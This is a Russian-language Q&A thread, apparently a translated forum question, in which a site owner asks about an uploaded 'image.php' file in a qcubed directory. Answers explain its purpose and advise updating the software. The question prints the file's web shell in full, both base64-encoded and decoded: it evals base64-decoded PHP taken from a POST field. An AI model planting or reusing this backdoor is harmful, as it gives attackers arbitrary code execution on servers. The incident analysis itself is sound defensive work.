Что на самом деле делает переменная $ _POST ['e'], закодированная в eval? - PullRequest
9 голосов
/ 22 ноября 2010

Хорошо, вот что я гуглил:

Кажется, есть загруженный файл с именем "image.php", который загружен в каталог qcubed.

Этот файл image.php содержит следующий код base64:

aWYoaXNzZXQoJF9QT1NUWydlJ10pKWV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpO2VjaG8gJzMxMzkzNjJlMzIzMzMxMmQzMTM3MzIyZTMyMzgzYTY5NjY2MTYzNjU3MjZkNzA3NTYyNmQ2OTYzNjUzYTYxNjY2MTYzMzQzMjY1NzI2OTMwMzInOw==

расшифровывает это добавляет к этому:

if(isset($_POST['e']))

eval(base64_decode($_POST['e']));

echo '3139362e3233312d3137322e32383a6966616365726d7075626d6963653a6166616334326572693032';

При поиске вышедшей строки я обнаружил уязвимости simillar qcubed на других сайтах.

Расшифровка последней полученной мной строки:

196.231-172.28:ifacermpubmice:afac42eri02

Что я действительно не понимаю, что он делает (используя: http://ostermiller.org/calc/encode.html).

Не могли бы вы объяснить, с чем конкретно я здесь сталкиваюсь? Какую уязвимость безопасности мне следует устранить, чтобы исправить это?

Ответы [ 2 ]

5 голосов
/ 22 ноября 2010

Сценарий выполнит любой код PHP, полученный из переменной e POST, что, конечно, является ужасной, самой опасной уязвимостью.

Оператор echo может быть подтверждением атакующего сценария, что установлена ​​правильная версия или что-то в этом роде.

Однако это опасно, только если файл image.php действительно может быть выполнен в этом каталоге. Трудно дать совет о том, что делать, не зная, как файл попал туда.

2 голосов
/ 23 ноября 2010

Скорее всего, один из сценариев использовал эксплойт для проникновения на ваш сайт. Убедитесь, что ваше PHP-приложение и библиотеки обновлены.

...